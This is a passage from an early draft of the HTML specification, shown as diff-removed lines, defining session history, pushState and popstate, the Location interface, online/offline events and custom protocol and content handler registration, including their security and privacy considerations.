-  <p>Typically, the history list will consist of only URIs. However, a page
-   can <a href="#pushstate" title=dom-history-pushState>add</a> <dfn id=state
-   title="state object">state objects</dfn> between its entry in the session
-   history and the next ("forward") entry. These are then <a href="#popstate"
-   title=event-popstate>returned to the script</a> when the user (or script)
-   goes back in the history, thus enabling authors to use the "navigation"
-   metaphor even in one-page applications.
-
-  <p>Entries that consist of <a href="#state" title="state object">state
-   objects</a> share the same <code><a
-   href="#documentui">DocumentUI</a></code> as the entry for the URI itself.
-   Contiguous entries that differ just by fragment identifier must also share
-   the same <code><a href="#documentui">DocumentUI</a></code>.
-
-  <p class=note>All entries that share the same <code><a
-   href="#documentui">DocumentUI</a></code> (and that are therefore merely
-   different states of one particular document) are contiguous by definition.
-
-  <p>At any point, one of the entries in the session history is the <dfn
-   id=current>current entry</dfn>. This is the entry representing the page in
-   this <a href="#browsing">browsing context</a> that is considered the
-   "current" page by the UA. The <a href="#current">current entry</a> is
-   usually an entry for the <a href="#href6"
-   title=dom-location-href>location</a> of the <code><a
-   href="#documentui">DocumentUI</a></code>. However, it can also be one of
-   the entries for <a href="#state" title="state object">state objects</a>
-   added to the history by that document.
-
-  <p>When the browser's navigation model differs significantly from the
-   sequential model represented by the <code><a
-   href="#history1">History</a></code> interface, for example if separate
-   <code><a href="#documentui">DocumentUI</a></code> objects in the session
-   history are all simulatenously displayed and active, then the <a
-   href="#current">current entry</a> could even be an entry unrelated to the
-   <code><a href="#history1">History</a></code> object's own <code><a
-   href="#documentui">DocumentUI</a></code> object. If, when a method is
-   invoked on a <code><a href="#history1">History</a></code> object, the <a
-   href="#current">current entry</a> for that <a href="#browsing">browsing
-   context</a>'s session history has a different <code><a
-   href="#documentui">DocumentUI</a></code> object than the <code><a
-   href="#history1">History</a></code> object's own <code><a
-   href="#documentui">DocumentUI</a></code> object, then the user agent must
-   raise a <code>NO_MODIFICATION_ALLOWED_ERR</code> DOM exception. (This can
-   only happen if scripts are allowed to run in documents that are not the
-   current document. Typically, however, user agents only allow scripts from
-   the <a href="#current">current entry</a> to execute.)
-
-  <p>User agents may <dfn id=discard>discard</dfn> the DOMs of entries other
-   than the <a href="#current">current entry</a>, reloading the pages afresh
-   when the user or script navigates back to such pages. This specification
-   does not specify when user agents should discard pages' DOMs and when they
-   should cache them. See the section on the <code
-   title=event-load>load</code> and <code title=event-unload>unload</code>
-   events for more details.</p>
-  <!--
-  XXX crossref! -->
-
-  <p>Entries that have had their DOM discarded must, for the purposes of the
-   algorithms given below, act as if they had not. When the user or script
-   navigates back or forwards to a page which has no in-memory DOM objects,
-   any other entries that shared the same <code><a
-   href="#documentui">DocumentUI</a></code> object with it must share the new
-   object as well.
-
-  <p>When a user agent discards the DOM from an entry in the session history,
-   it must also discard all the entries from the first state object entry for
-   that <code><a href="#documentui">DocumentUI</a></code> object up to and
-   including the last entry for that <code><a
-   href="#documentui">DocumentUI</a></code> object (including any
-   non-state-object entries in that range, such as entries where the user
-   navigated using fragment identifiers). These entries are not recreated if
-   the user or script navigates back to the page. If there are no state
-   object entries for that <code><a href="#documentui">DocumentUI</a></code>
-   object then no entries are removed.
-
-  <h4 id=the-history><span class=secno>5.2.2. </span>The <code><a
-   href="#history1">History</a></code> interface</h4>
-
-  <pre class=idl>interface <dfn id=history1>History</dfn> {
-  readonly attribute long <a href="#length3" title=dom-history-length>length</a>;
-<!--  DOMString <span title="dom-history-item">item</span>(in unsigned long index);
-  readonly attribute DOMString <span title="dom-history-current">current</span>;
-  readonly attribute DOMString <span title="dom-history-previous">previous</span>;
-  readonly attribute DOMString <span title="dom-history-next">next</span>;
--->  void <a href="#godelta" title=dom-history-go>go</a>(in long delta);
-  void <a href="#go" title=dom-history-go-0>go</a>();
-  void <a href="#back" title=dom-history-back>back</a>();
-  void <a href="#forward" title=dom-history-forward>forward</a>();
-  void <a href="#pushstate" title=dom-history-pushState>pushState</a>(in DOMObject data);
-  void <a href="#clearstate" title=dom-history-clearState>clearState</a>();
-};</pre>
-
-  <p>The <dfn id=length3 title=dom-history-length><code>length</code></dfn>
-   attribute of the <code><a href="#history1">History</a></code> interface
-   must return the number of entries in this session history.
-
-  <p>The actual entries are not accessible from script.</p>
-  <!--
-  <p>The <dfn
-  title="dom-history-item"><code>item(<var title="">index</var>)</code></dfn>
-  function must raise a <span>security exception</span>.</p>
-
-  <p>In the ECMAScript DOM binding, objects implementing this interface
-  must support being dereferenced using square bracket notation (e.g.
-  <code>history[1]</code>). Dereferencing with an integer index must
-  be treated as equivalent to invoking the <code>item()</code> method
-  with that index.</p>
--->
-
-  <p>The <dfn id=godelta title=dom-history-go><code>go(<var
-   title="">delta</var>)</code></dfn> method causes the UA to move the number
-   of steps specified by <var title="">delta</var> in the session history.
-
-  <p>If the index of the <a href="#current">current entry</a> plus <var
-   title="">delta</var> is less than zero or greater than or equal to the <a
-   href="#length3" title=dom-history-length>number of items in the session
-   history</a>, then the user agent must do nothing.
-
-  <p>If the <var title="">delta</var> is zero, then the user agent must act
-   as if the <code title=dom-location-reload>location.reload()</code> method
-   was called instead.
-
-  <p>Otherwise, the user agent must cause the current <a
-   href="#browsing">browsing context</a> to navigate to the specified entry,
-   as described below. The specified entry is the one whose index equals the
-   index of the <a href="#current">current entry</a> plus <var
-   title="">delta</var>.
-
-  <p>If there are any entries with state objects between the current entry
-   and the specified entry (not inclusive), then the user agent must iterate
-   through every entry between the current entry and the specified entry,
-   starting with the entry closest to the current entry, and ending with the
-   one closest to the specified entry. For each entry, if the entry is a
-   state object, the user agent must <a href="#activating1">activate the
-   state object</a>.
-
-  <p>If the specified entry has a different <code><a
-   href="#documentui">DocumentUI</a></code> object than the <a
-   href="#current">current entry</a> then the user agent must make that
-   <code><a href="#documentui">DocumentUI</a></code> object the user's
-   "current" one for that <a href="#browsing">browsing context</a>.
-
-  <p>If the specified entry is a state object, the user agent must <a
-   href="#activating1" title="activate the state object">activate that state
-   object</a>. Otherwise, the user agent must update the current <a
-   href="#location" title=dom-location>location</a> object to the new
-   location.
-
-  <p>User agents may also update other aspects of the document view when the
-   location changes in this way, for instance the scroll position, values of
-   form fields, etc.
-
-  <p>When the user navigates through a <a href="#browsing">browsing
-   context</a>, e.g. using a browser's back and forward buttons, the user
-   agent must translate this action into the equivalent invocations of the
-   <code title=dom-history-go><a href="#godelta">history.go(<var
-   title="">delta</var>)</a></code> method on the various affected <code
-   title=dom-window>window</code> objects.
-
-  <p>Some of the other members of the <code><a
-   href="#history1">History</a></code> interface are defined in terms of the
-   <code title=dom-history-go><a
-   href="#godelta">go()</a></code><!-- and <code
-  title="dom-history-item">item()</code>-->
-   method<!--s-->, as follows:
-
-  <table>
-   <tbody>
-    <tr>
-     <th>Member
-
-     <th>Definition
-    </tr>
-    <!--
-   <tr>
-    <td><dfn title="dom-history-current"><code>current</code></dfn></td>
-    <td>Must return the same as <code title="dom-history-item">item(<var>current entry</var>)</code></td>
-   </tr>
-   <tr>
-    <td><dfn title="dom-history-previous"><code>previous</code></dfn></td>
-    <td>Must return the same as <code title="dom-history-item">item(<var>current entry</var>-1)</code></td>
-   </tr>
-   <tr>
-    <td><dfn title="dom-history-next"><code>next</code></dfn></td>
-    <td>Must return the same as <code title="dom-history-item">item(<var>current entry</var>+1)</code></td>
-   </tr>
--->
-
-    <tr>
-     <td><dfn id=go title=dom-history-go-0><code>go()</code></dfn>
-
-     <td>Must do the same as <code title=dom-history-go><a
-      href="#godelta">go(0)</a></code>
-
-    <tr>
-     <td><dfn id=back title=dom-history-back><code>back()</code></dfn>
-
-     <td>Must do the same as <code title=dom-history-go><a
-      href="#godelta">go(-1)</a></code>
-
-    <tr>
-     <td><dfn id=forward
-      title=dom-history-forward><code>forward()</code></dfn>
-
-     <td>Must do the same as <code title=dom-history-go><a
-      href="#godelta">go(1)</a></code>
-  </table>
-
-  <p>The <dfn id=pushstate title=dom-history-pushState><code>pushState(<var
-   title="">data</var>)</code></dfn> method adds a state object to the
-   history.
-
-  <p>When this method is invoked, the user agent must first remove from the
-   session history any entries for that <code><a
-   href="#documentui">DocumentUI</a></code> from the entry after the <a
-   href="#current">current entry</a> up to the last entry in the session
-   history that references the same <code><a
-   href="#documentui">DocumentUI</a></code> object, if any. If the <a
-   href="#current">current entry</a> is the last entry in the session
-   history, or if there are no entries after the <a href="#current">current
-   entry</a> that reference the same <code><a
-   href="#documentui">DocumentUI</a></code> object, then no entries are
-   removed.
-
-  <p>Then, the user agent must add a state object entry to the session
-   history, after the <a href="#current">current entry</a>, with the
-   specified <var title="">data</var> as the state object.
-
-  <p>Finally, the user agent must update the <a href="#current">current
-   entry</a> to be the this newly added entry.
-
-  <p class=big-issue>There has been a suggestion that pushState() should take
-   a URI and a string; the URI to allow for the page to be bookmarked, and
-   the string to allow the UA to give the page a meaningful title in the
-   history state, if it shows history state.</p>
-  <!-- XXX could have four variants of pushState to allow
-  with/without URI and with/without title. Or maybe URI only makes
-  sense if there is a title. -->
-
-  <p>User agents may limit the number of state objects added to the session
-   history per page. If a page hits the UA-defined limit, user agents must
-   remove the entry immediately after the first entry for that <code><a
-   href="#documentui">DocumentUI</a></code> object in the session history
-   after having added the new entry. (Thus the state history acts as a FIFO
-   buffer for eviction, but as a LIFO buffer for navigation.)
-
-  <p>The <dfn id=clearstate
-   title=dom-history-clearState><code>clearState()</code></dfn> method
-   removes all the state objects for the <code><a
-   href="#documentui">DocumentUI</a></code> object from the session history.
-
-  <p>When this method is invoked, the user agent must remove from the session
-   history all the entries from the first state object entry for that
-   <code><a href="#documentui">DocumentUI</a></code> object up to the last
-   entry that references that same <code><a
-   href="#documentui">DocumentUI</a></code> object, if any.
-
-  <p>Then, if the <a href="#current">current entry</a> was removed in the
-   previous step, the <a href="#current">current entry</a> must be set to the
-   last entry for that <code><a href="#documentui">DocumentUI</a></code>
-   object in the session history.
-
-  <h4 id=activating><span class=secno>5.2.3. </span><dfn id=activating1
-   title="activate the state object">Activating state objects</dfn></h4>
-
-  <p>When a state object in the session history is activated (which happens
-   in the cases described above), the user agent must fire a <dfn id=popstate
-   title=event-popstate><code>popstate</code></dfn> event in the
-   <code>http://www.w3.org/2001/xml-events</code> namespace on the <a
-   href="#the-body0">the body element</a> using the <code><a
-   href="#popstateevent">PopStateEvent</a></code> interface, with the state
-   object in the <code title=dom-PopStateEvent-state><a
-   href="#state0">state</a></code> attribute. This event bubbles but is not
-   cancelable and has no default action.</p>
-  <!-- XXX onpopstate should be defined somewhere -->
-
-  <pre
-   class=idl>interface <dfn id=popstateevent>PopStateEvent</dfn> : Event {
-  readonly attribute DOMObject <a href="#state0" title=dom-PopStateEvent-state>state</a>;
-  void <a href="#initpopstateevent" title=dom-PopStateEvent-initPopStateEvent>initPopStateEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMObject statetArg);
-  void <a href="#initpopstateeventns" title=dom-PopStateEvent-initPopStateEventNS>initPopStateEventNS</a>(in DOMString namespaceURIArg, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMObject stateArg);
-};</pre>
-
-  <p>The <dfn id=initpopstateevent
-   title=dom-PopStateEvent-initPopStateEvent><code>initPopStateEvent()</code></dfn>
-   and <dfn id=initpopstateeventns
-   title=dom-PopStateEvent-initPopStateEventNS><code>initPopStateEventNS()</code></dfn>
-   methods must initialise the event in a manner analogous to the
-   similarly-named methods in the DOM3 Events interfaces. <a
-   href="#DOM3Events">[DOM3EVENTS]</a>
-
-  <p>The <dfn id=state0
-   title=dom-PopStateEvent-state><code>state</code></dfn> attribute
-   represents the context information for the event.
-
-  <h4 id=the-location><span class=secno>5.2.4. </span>The <code><a
-   href="#location1">Location</a></code> interface</h4>
-
-  <p>The <dfn id=location title=dom-location><code>location</code></dfn>
-   attribute of the <code><a href="#windowhtml">WindowHTML</a></code>
-   interface must return an object implementing the <code><a
-   href="#location1">Location</a></code> interface.
-
-  <p>For historical reasons, the <dfn id=location0
-   title=dom-document-location><code>location</code></dfn> attribute of the
-   <code><a href="#documentui">DocumentUI</a></code> interface must return
-   the same object as the <code title=dom-location><a
-   href="#location">location</a></code> attribute on its associated <code><a
-   href="#windowhtml">WindowHTML</a></code> object.
-
-  <p><code><a href="#location1">Location</a></code> objects provide a
-   representation of the URI of their document, and allow the <a
-   href="#current">current entry</a> of the <a href="#browsing">browsing
-   context</a>'s session history to be changed, by adding or replacing
-   entries in the <code title=dom-history><a
-   href="#history0">history</a></code> object.
-
-  <pre class=idl>interface <dfn id=location1>Location</dfn> {
-  readonly attribute DOMString <span title=dom-location-hash>hash</span>;
-  readonly attribute DOMString <span title=dom-location-host>host</span>;
-  readonly attribute DOMString <span title=dom-location-hostname>hostname</span>;
-  readonly attribute DOMString <a href="#href6" title=dom-location-href>href</a>;
-  readonly attribute DOMString <span title=dom-location-pathname>pathname</span>;
-  readonly attribute DOMString <span title=dom-location-port>port</span>;
-  readonly attribute DOMString <span title=dom-location-protocol>protocol</span>;
-  readonly attribute DOMString <span title=dom-location-search>search</span>; <!-- blame brendan for these "innovative" names -->
-  void <a href="#assign" title=dom-location-assign>assign</a>(in DOMString url);
-  void <a href="#replace" title=dom-location-replace>replace</a>(in DOMString url);
-  void <span title=dom-location-reload>reload</span>();
-};</pre>
-
-  <p>In the ECMAScript DOM binding, objects implementing this interface must
-   stringify to the same value as the <code title=dom-location-href><a
-   href="#href6">href</a></code> attribute.
-
-  <p id=settingLocation>In the ECMAScript DOM binding, the <code
-   title="">location</code> members of the <code><a
-   href="#documentui">DocumentUI</a></code> and <code><a
-   href="#windowhtml">WindowHTML</a></code> interfaces behave as if they had
-   a setter: user agents must treats attempts to set these <code
-   title="">location</code> attribute as attempts at setting the <code
-   title=dom-location-href><a href="#href6">href</a></code> attribute of the
-   relevant <code><a href="#location1">Location</a></code> object instead.
-
-  <p>The <dfn id=href6 title=dom-location-href><code>href</code></dfn>
-   attribute returns the address of the page represented by the associated
-   <code><a href="#documentui">DocumentUI</a></code> object, as an absolute
-   IRI reference.
-
-  <p>On setting, <!--XXX Mozilla does this, but IE doesn't. What
-  should we do?: the behaviour depends on the context in which the
-  script that set the attribute is running. If the script ran as the
-  direct result of the execution of a <code>script</code> element in
-  the document represented by the <code>Location</code> object's
-  associated <code>DocumentUI</code> object, then the user agent must
-  act as if the <code title="dom-location-replace">replace()</code>
-  method had been called with the new value as its
-  argument. Otherwise,-->
-   the user agent must act as if the <code title=dom-location-assign><a
-   href="#assign">assign()</a></code> method had been called with the new
-   value as its argument.</p>
-  <!-- XXX may wish to allow
-  replace instead as a UI improvement -->
-
-  <p>When the <dfn id=assign title=dom-location-assign><code>assign(<var
-   title="">url</var>)</code></dfn> method is invoked, the UA must remove all
-   the entries after the <a href="#current">current entry</a> in its <code><a
-   href="#documentui">DocumentUI</a></code>'s <code><a
-   href="#history1">History</a></code> object, add a new entry, with the
-   given <var title="">url</var>, at the end of the list (asynchronously
-   loading the new page if necessary), and then advance to that page as if
-   the <code title=dom-history-forward><a
-   href="#forward">history.forward()</a></code> method had been invoked.
-
-  <p>When the <dfn id=replace title=dom-location-replace><code>replace(<var
-   title="">url</var>)</code></dfn> method is invoked, the UA must act as if
-   the <code title=dom-location-assign><a href="#assign">assign()</a></code>
-   method had been invoked, but with the additional step of removing the
-   entry that was the <a href="#current">current entry</a> before the method
-   call after the above steps (thus simply causing the current page to be
-   replaced by the new one).
-
-  <p>In both cases, if the location before the method call would differ from
-   the location after the method only in terms of the fragment identifier,
-   then the user agent must use the same <code><a
-   href="#documentui">DocumentUI</a></code> object, updating only the scroll
-   position in the document's view(s) appropriately.
-
-  <p>Relative <var title="">url</var> arguments for <code
-   title=dom-location-assign><a href="#assign">assign()</a></code> and <code
-   title=dom-location-replace><a href="#replace">replace()</a></code> must be
-   resolved relative to the base URI of the script that made the method call.</p>
-  <!-- XXX what about if the base URI is data: or
-  javascript: or about: or something else without a way to resolve
-  base URIs? -->
-
-  <p class=big-issue>The component parts and .reload() are yet to be defined.
-   If anyone can come up with a decent definition, let me know.</p>
-  <!--
-  http://www.hixie.ch/tests/adhoc/dom/level0/location/components/
-  http://lxr.mozilla.org/seamonkey/source/dom/src/base/nsLocation.cpp
-  http://wp.netscape.com/eng/mozilla/3.0/handbook/javascript/ref_h-l.htm#84722
-  <dfn title="dom-location-protocol"><code>protocol</code></dfn>
-  <dfn title="dom-location-host"><code>host</code></dfn> ( host name and port )
-  <dfn title="dom-location-port"><code>port</code></dfn> ( just port )
-  <dfn title="dom-location-hostname"><code>hostname</code></dfn> ( just host name )
-  <dfn title="dom-location-pathname"><code>pathname</code></dfn>
-  <dfn title="dom-location-search"><code>search</code></dfn>
-  <dfn title="dom-location-hash"><code>hash</code></dfn>
--->
-  <!--
-  <dfn title="dom-location-reload"><code>reload()</code></dfn>
-  reload during resize event:
-  redisplay the current page (without reloading it). This
-  theoretically would have no effect but in practice can be useful to
-  work around rendering bugs.
-
-reload on shared DocumentUI updates all of them
-
-user reload must be equivalent to .reload()
--->
-
-  <h4 id=history-notes><span class=secno>5.2.5. </span>Implementation notes
-   for session history</h4>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>The <code><a href="#history1">History</a></code> interface is not meant
-   to place restrictions on how implementations represent the session history
-   to the user.
-
-  <p>For example, session history could be implemented in a tree-like manner,
-   with each page having multiple "forward" pages. This specification doesn't
-   define how the linear list of pages in the <code title=dom-history><a
-   href="#history0">history</a></code> object are derived from the actual
-   session history as seen from the user's perspective.
-
-  <p>Similarly, a page containing two <code><a
-   href="#iframe0">iframe</a></code>s has a <code title=dom-history><a
-   href="#history0">history</a></code> object distinct from the <code><a
-   href="#iframe0">iframe</a></code>s' <code title=dom-history><a
-   href="#history0">history</a></code> objects, despite the fact that typical
-   Web browsers present the user with just one "Back" button, with a session
-   history that interleaves the navigation of the two inner frames and the
-   outer page.
-
-  <p><strong>Security:</strong> It is suggested that to avoid letting a page
-   "hijack" the history navigation facilities of a UA by abusing <code
-   title=dom-history-pushState><a href="#pushstate">pushState()</a></code>,
-   the UA provide the user with a way to jump back to the previous page
-   (rather than just going back to the previous state). For example, the back
-   button could have a drop down showing just the pages in the session
-   history, and not showing any of the states. Similarly, an aural browser
-   could have two "back" commands, one that goes back to the previous state,
-   and one that jumps straight back to the previous page.
-
-  <p>In addition, a user agent could ignore calls to <code
-   title=dom-history-pushState><a href="#pushstate">pushState()</a></code>
-   that are invoked on a timer, or from event handlers that do not represent
-   a clear user action, or that are invoked in rapid succession.
-
-  <h3 id=browser><span class=secno>5.3. </span>Browser state</h3>
-
-  <p>The <dfn id=navigator title=dom-navigator><code>navigator</code></dfn>
-   attribute of the <code><a href="#windowhtml">WindowHTML</a></code>
-   interface must return an instance of the <code><a
-   href="#clientinformation">ClientInformation</a></code> interface, which
-   represents the identity and state of the user agent (the client), and
-   allows Web pages to register themselves as potential protocol and content
-   handlers:
-
-  <pre
-   class=idl>interface <dfn id=clientinformation>ClientInformation</dfn> {
-  readonly attribute boolean <a href="#navigator.online" title=dom-navigator-onLine>onLine</a>;
-  void <a href="#registerprotocolhandler" title=dom-navigator-registerProtocolHandler>registerProtocolHandler</a>(in DOMString protocol, in DOMString uri, in DOMString title);
-  void <a href="#registercontenthandler" title=dom-navigator-registerContentHandler>registerContentHandler</a>(in DOMString mimeType, in DOMString uri, in DOMString title);
-<!-- XXX there are other attributes! -->};</pre>
-  <!-- also, see window.external.AddSearchProvider() and similar DOM APIs from IE -->
-
-  <h4 id=offline><span class=secno>5.3.1. </span>Offline Web applications</h4>
-
-  <p>The <dfn id=navigator.online
-   title=dom-navigator-onLine><code>navigator.onLine</code></dfn> attribute
-   must return false if the user agent will not contact the network when the
-   user follows links or when a script requests a remote page (or knows that
-   such an attempt would fail), and must return true otherwise.
-
-  <p>The <dfn id=offline0 title=event-offline><code>offline</code></dfn>
-   event must be fired when the value of the <code
-   title=dom-navigator-onLine><a
-   href="#navigator.online">navigator.onLine</a></code> attribute of the
-   <code><a href="#windowhtml">WindowHTML</a></code> changes from true to
-   false.
-
-  <p>The <dfn id=online title=event-online><code>online</code></dfn> event
-   must be fired when the value of the <code title=dom-navigator-onLine><a
-   href="#navigator.online">navigator.onLine</a></code> attribute of the
-   <code><a href="#windowhtml">WindowHTML</a></code> changes from false to
-   true.
-
-  <p>These events are in the <code>http://www.w3.org/2001/xml-events</code>
-   namespace, do bubble, are not cancelable, have no default action, and use
-   the normal <code>Event</code> interface. They must be fired on <a
-   href="#the-body0">the body element</a>. (As the events bubble, they will
-   reach the <code><a href="#windowhtml">WindowHTML</a></code> object.)</p>
-  <!-- XXX ononline onoffline need to be defined -->
-
-  <h4 id=custom-handlers><span class=secno>5.3.2. </span>Custom protocol and
-   content handlers</h4>
-
-  <p>The <dfn id=registerprotocolhandler
-   title=dom-navigator-registerProtocolHandler><code>registerProtocolHandler()</code></dfn>
-   method allows Web sites to register themselves as possible handlers for
-   particular protocols. For example, an online fax service could register
-   itself as a handler of the <code>fax:</code> protocol (<a
-   href="#refsRFC2806">[RFC2806]</a>), so that if the user clicks on such a
-   link, he is given the opportunity to use that Web site. Analogously, the
-   <dfn id=registercontenthandler
-   title=dom-navigator-registerContentHandler><code>registerContentHandler()</code></dfn>
-   method allows Web sites to register themselves as possible handlers for
-   content in a particular MIME type. For example, the same online fax
-   service could register itself as a handler for <code>image/g3fax</code>
-   files (<a href="#refsRFC1494">[RFC1494]</a>), so that if the user has no
-   native application capable of handling G3 Facsimile byte streams, his Web
-   browser can instead suggest he use that site to view the image.
-
-  <p>User agents may, within the constraints described in this section, do
-   whatever they like when the methods are called. A UA could, for instance,
-   prompt the user and offer the user the opportunity to add the site to a
-   shortlist of handlers, or make the handlers his default, or cancel the
-   request. UAs could provide such a UI through modal UI or through a
-   non-modal transient notification interface. UAs could also simply silently
-   collect the information, providing it only when relevant to the user.
-
-  <p>There is <a href="#sample-handler-impl">an example of how these methods
-   could be presented to the user</a> below.
-
-  <p>The arguments to the methods have the following meanings:
-
-  <dl>
-   <dt><var title="">protocol</var> (<code
-    title=dom-navigator-registerProtocolHandler><a
-    href="#registerprotocolhandler">registerProtocolHandler()</a></code>
-    only)
-
-   <dd>
-    <p>A scheme, such as <code>ftp</code> or <code>fax</code>. The scheme
-     must be treated case-insensitively by user agents for the purposes of
-     comparing with the scheme part of URIs that they consider against the
-     list of registered handlers.</p>
-
-    <p>The <var title="">protocol</var> value, if it contains a colon (as in
-     "<code>ftp:</code>"), will never match anything, since schemes don't
-     contain colons.</p>
-
-   <dt><var title="">mimeType</var> (<code
-    title=dom-navigator-registerContentHandler><a
-    href="#registercontenthandler">registerContentHandler()</a></code> only)
-
-   <dd>
-    <p>A MIME type, such as <code>model/vrml</code> or
-     <code>text/richtext</code>. The MIME type must be treated
-     case-insensitively by user agents for the purposes of comparing with
-     MIME types of documents that they consider against the list of
-     registered handlers.</p>
-
-    <p>User agents must compare the given values only to the MIME
-     type/subtype parts of content types, not to the complete type including
-     parameters. Thus, if <var title="">mimeType</var> values passed to this
-     method include characters such as commas or whitespace, or include MIME
-     parameters, then the handler being registered will never be used.</p>
-
-   <dt><var title="">uri</var>
-
-   <dd>
-    <p>The URI of the page that will handle the requests. When the user agent
-     uses this URI, it must replace the first occurrence of the exact literal
-     string "<code>%s</code>" with an escaped version of the URI of the
-     content in question (as defined below), and then fetch the resulting URI
-     using the GET method (or equivalent for non-HTTP URIs).</p>
-
-    <p>To get the escaped version of the URI, first, the domain part of the
-     URI (if any) must be converted to its punycode representation, and then,
-     every character in the URI that is not in the ranges given in the next
-     paragraph must be replaced by its UTF-8 byte representation, each byte
-     being represented by a U+0025 (%) character and two digits in the range
-     U+0030 (0) to U+0039 (9) and U+0041 (A) to U+0046 (F) giving the
-     hexadecimal representation of the byte.</p>
-
-    <p>The ranges of characters that must not be escaped are: U+002D (-),
-     U+002E (.), U+0030 (0) to U+0039 (9), U+0041 (A) to U+005A (Z), U+005F
-     (_), U+0061 (a) to U+007A (z), and U+007E (~).</p>
-    <!-- XXX move that to a common algorithms section if any other
-    part of the spec needs it -->
-    
-    <div class=example>
-     <p>If the user had visited a site that made the following call:</p>
-
-     <pre>navigator.registerContentHandler('application/x-soup', 'http://example.com/soup?url=%s', 'SoupWebAMPERSANDtrade;')</pre>
-
-     <p>...and then clicked on a link such as:</p>
-
-     <pre>AMPERSANDlt;a href="http://www.example.net/chickenkAMPERSAND#xEF;wi.soup">Download our Chicken Kiwi soup!AMPERSANDlt;/a></pre>
-
-     <p>...then, assuming this <code>chickenkiwi.soup</code> file was served
-      with the MIME type <code>application/x-soup</code>, the UA might
-      instead navigate to the following URI:</p>
-
-     <pre>http://example.com/soup?url=http%3A%2F%2Fwww.example.net%2Fchickenk%C3%AFwi.soup</pre>
-
-     <p>This site could then fetch the <code>chickenkiwi.soup</code> file and
-      do whatever it is that it does with soup (synthesise it and ship it to
-      the user, or whatever).</p>
-    </div>
-
-   <dt><var title="">title</var>
-
-   <dd>
-    <p>A descriptive title of the handler, which the UA might use to remind
-     the user what the site in question is.</p>
-  </dl>
-
-  <p>User agents should raise <a href="#security2" title="security
-   exception">security exceptions</a> if the methods are called with <var
-   title="">protocol</var> or <var title="">mimeType</var> values that the UA
-   deems to be "privileged". For example, a site attempting to register a
-   handler for <code>http</code> URIs or <code>text/html</code> content in a
-   Web browser would likely cause an exception to be raised.
-
-  <p>User agents must raise a <code>SYNTAX_ERR</code> exception if the <var
-   title="">uri</var> argument passed to one of these methods does not
-   contain the exact literal string "<code>%s</code>".
-
-  <p>User agents must not raise any other exceptions (other than
-   binding-specific exceptions, such as for an incorrect number of arguments
-   in an ECMAScript implementation).
-
-  <p>This section does not define how the pages registered by these methods
-   are used, beyond the requirements on how to process the <var
-   title="">uri</var> value (see above). To some extent, the <span
-   title="navigating across documents">processing model for navigating across
-   documents</span> defines some cases where these methods are relevant, but
-   in general UAs may use this information wherever they would otherwise
-   consider handing content to native plugins or helper applications.
-
-  <p>UAs must not use registered content handlers to handle content that was
-   returned as part of a non-GET transaction (or rather, as part of any
-   non-idempotent transaction), as the remote site would not be able to fetch
-   the same data.
-
-  <h5 id=security><span class=secno>5.3.2.1. </span>Security and privacy</h5>
-
-  <p>These mechanisms can introduce a number of concerns, in particular
-   privacy concerns.
-
-  <p><strong>Hijacking all Web usage.</strong> User agents should not allow
-   protocols that are key to its normal operation, such as <code>http</code>
-   or <code>https</code>, to be rerouted through third-party sites. This
-   would allow a user's activities to be trivially tracked, and would allow
-   user information, even in secure connections, to be collected.
-
-  <p><strong>Hijacking defaults.</strong> It is strongly recommended that
-   user agents do not automatically change any defaults, as this could lead
-   the user to send data to remote hosts that the user is not expecting. New
-   handlers registering themselves should never automatically cause those
-   sites to be used.
-
-  <p><strong>Registration spamming.</strong> User agents should consider the
-   possibility that a site will attempt to register a large number of
-   handlers, possibly from multiple domains (e.g. by redirecting through a
-   series of pages each on a different domain, and each registering a handler
-   for <code>video/mpeg</code> AMPERSANDmdash; analogous practices abusing other Web
-   browser features have been used by pornography Web sites for many years).
-   User agents should gracefully handle such hostile attempts, protecting the
-   user.
-
-  <p><strong>Misleading titles.</strong> User agents should not rely wholy on
-   the <var title="">title</var> argument to the methods when presenting the
-   registered handlers to the user, since sites could easily lie. For
-   example, a site <code>hostile.example.net</code> could claim that it was
-   registering the "Cuddly Bear Happy Content Handler". User agents should
-   therefore use the handler's domain in any UI along with any title.
-
-  <p><strong>Hostile handler metadata.</strong> User agents should protect
-   against typical attacks against strings embedded in their interface, for
-   example ensuring that markup or escape characters in such strings are not
-   executed, that null bytes are properly handled, that over-long strings do
-   not cause crashes or buffer overruns, and so forth.
-
-  <p><strong>Leaking Intranet URIs.</strong> The mechanism described in this
-   section can result in secret Intranet URIs being leaked, in the following
-   manner:
-
-  <ol>
-   <li>The user registers a third-party content handler as the default
-    handler for a content type.
-
-   <li>The user then browses his corporate Intranet site and accesses a
-    document that uses that content type.
-
-   <li>The user agent contacts the third party and hands the third party the
-    URI to the Intranet content.
-  </ol>
-
-  <p>No actual confidential file data is leaked in this manner, but the URIs
-   themselves could contain confidential information. For example, the URI
-   could be
-   <code>https://www.corp.example.com/upcoming-aquisitions/samples.egf</code>,
-   which might tell the third party that Example Corporation is intending to
-   merge with Samples LLC. Implementors might wish to consider allowing
-   administrators to disable this feature for certain subdomains, content
-   types, or protocols.
-
-  <p><strong>Leaking secure URIs.</strong> User agents should not send HTTPS
-   URIs to third party sites registered as content handlers, in the same way
-   that user agents do not send <code>Referer</code> headers from secure
-   sites to third party sites.
-
-  <p><strong>Leaking credentials.</strong> User agents must never send
-   username or password information in the URIs that are escaped and included
-   sent to the handler sites. User agents may even avoid attempting to pass
-   to Web-based handlers the URIs of resources that are known to require
-   authentication to access, as such sites would be unable to access the
-   resources in question without prompting the user for credentials
-   themselves (a practice that would require the user to know whether to
-   trust the third party handler, a decision many users are unable to make or
-   even understand).
-
-  <h5 id=sample-handler-impl><span class=secno>5.3.2.2. </span>Sample user
-   interface</h5>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>A simple implementation of this feature for a desktop Web browser might
-   work as follows.
-
-  <p>The <code title=dom-navigator-registerProtocolHandler><a
-   href="#registerprotocolhandler">registerProtocolHandler()</a></code>
-   method could display a modal dialog box:
-
-  <pre>||[ Protocol Handler Registration ]|||||||||||||||||||||||||||
-|                                                            |
-| This Web page:                                             |
-|                                                            |
-|    Kittens at work                                         |
-|    http://kittens.example.org/                             |
-|                                                            |
-| ...would like permission to handle the protocol "x-meow:"  |
-| using the following Web-based application:                 |
-|                                                            |
-|    Kittens-at-work displayer                               |
-|    http://kittens.example.org/?show=%s                     |
-|                                                            |
-| Do you trust the administrators of the "kittens.example.   |
-| org" domain?                                               |
-|                                                            |
